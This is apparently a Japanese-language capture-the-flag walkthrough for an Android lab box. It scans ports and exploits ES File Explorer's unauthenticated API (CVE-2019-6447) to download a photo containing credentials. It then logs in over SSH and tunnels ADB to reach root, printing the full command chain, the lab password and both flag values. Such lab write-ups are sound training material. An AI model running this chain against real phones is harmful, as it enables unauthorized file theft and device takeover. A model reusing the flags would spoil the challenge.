nmap -Pn -p- --min-rate 500 -T4 10.129.238.59
nmap -sV -sC -p 2222,42135,59777 10.129.238.59

PORT      STATE SERVICE VERSION
2222/tcp  open  ssh     Banana Studio SSH server app (net.xnano.android.sshserver.tv) (protocol 2.0)
| ssh-hostkey:
|_  2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)
42135/tcp open  http    ES File Explorer Name Response httpd
59777/tcp open  http    Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or older
Service Info: OS: Android; Device: phone; CPE: cpe:/o:linux:linux_kernel

curl -s http://10.129.238.59:42135/
curl -s http://10.129.238.59:59777/

ES File Explorer (バージョン 4.1.9.7.4 以前) は「ネットワーク越しに
PCからスマホ内のファイルを閲覧・操作できる」機能のため、起動中は
ポート59777で簡易HTTP JSON APIを常時リッスンする。このAPIには
一切の認証機構が実装されておらず、同一ネットワーク上の誰でも
以下のようなコマンドを送信してファイル一覧取得・ダウンロード・
アプリ情報取得などが可能(CVE-2019-6447)。

重要な実装上の注意点: このAPIのJSONボディは一般的なJSONの文法とは
異なり、"command"の値が文字列でもダブルクォートで囲まれていない
(例: { "command":listPics } であり { "command":"listPics" } ではない)。
Metasploitモジュールもこの非標準形式をそのまま送信している。

POST / HTTP/1.1
Host: 10.129.238.59:59777
Content-Type: application/json
Content-Length: 24

{ "command":listPics }

curl -s -X POST http://10.129.238.59:59777/ \
  -H "Content-Type: application/json" \
  --data-raw '{ "command":listPics }'

{"photos":[
  {"location":"/storage/emulated/0/DCIM/creds.jpg", ...},
  {"location":"/storage/emulated/0/DCIM/...", ...},
  ...
]}

ファイルの実体ダウンロードは listPics とは異なり、POSTではなく
対象パスへの単純な GET リクエストで行う(getFile相当の動作)。

curl -s -o creds.jpg \
  "http://10.129.238.59:59777/storage/emulated/0/DCIM/creds.jpg"
file creds.jpg

creds.jpg: JPEG image data, ... 4032x3024, components 3
(約1.2MB、iPhone XR で撮影されたノートの写真)

罫線ノートに手書きで以下の2行が記載されている:

  1行目: Kristi
  2行目: Kr1sT!5h@Rp3xPl0r3!

l33tspeak的な読み替え(1→i, 0→o 等)を踏まえると、ユーザー名は
"kristi"、パスワードは見たままの文字列("Kr1sT!5h@Rp3xPl0r3!")と判断できる。
OCR(tesseract)でも自動抽出を試みたが、手書き文字かつ記号(!@)を含む
複雑な文字列のため自動認識の精度が低く、本検証では目視での読み取りを
採用した。

tesseract creds.jpg stdout --psm 6

ポート2222で動くBanana Studio製SSHサーバーアプリには2つの特有の制約がある:

  1. ホスト鍵として ssh-rsa しか提供しない
     → 最近のOpenSSHクライアントはデフォルトで ssh-rsa を拒否するため
       明示的に許可オプションを指定する必要がある
       (-o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa)

  2. exec チャンネルをサポートしない
     → "ssh user@host command" のような非対話コマンド実行はすべて
       "exec request failed on channel 0" で失敗する
     → 対話用PTY(-tオプション)を割り当て、expect/pexpect等で
       パスワードプロンプトとシェルプロンプトを待ち受けながら
       コマンドを送信する必要がある

ssh -t -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa \
  -o PubkeyAuthentication=no -p 2222 kristi@10.129.238.59

kristi@10.129.238.59's password: Kr1sT!5h@Rp3xPl0r3!
:/ $

:/ $ cat /storage/emulated/0/user.txt

f32017174c7c7e8f50c6da52891ae250

nmapの全ポートスキャンではTCP/5555(ADB: Android Debug Bridge)は
filteredと表示され、外部から直接到達できない。しかしターゲット内部
(localhost)ではADBデーモン(adbd)が待受状態であるため、既に確立済みの
SSHセッションをポートフォワードの踏み台として使い、外部からあたかも
localhostのADBへ接続しているかのようにトンネルする。

ssh -N -L 5555:127.0.0.1:5555 \
  -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa \
  -o PubkeyAuthentication=no -p 2222 kristi@10.129.238.59
# パスワード入力: Kr1sT!5h@Rp3xPl0r3!
# (このターミナルはトンネルを維持したまま保持しておく)

adb kill-server
adb start-server
adb connect 127.0.0.1:5555
adb -s 127.0.0.1:5555 root

$ adb connect 127.0.0.1:5555
connected to 127.0.0.1:5555

$ adb -s 127.0.0.1:5555 root
restarting adbd as root

adb connect 127.0.0.1:5555
adb -s 127.0.0.1:5555 shell whoami
adb -s 127.0.0.1:5555 shell cat /data/root.txt

$ adb -s 127.0.0.1:5555 shell whoami
root

$ adb -s 127.0.0.1:5555 shell cat /data/root.txt
f04fc82b6d49b41c9b08982be59338c5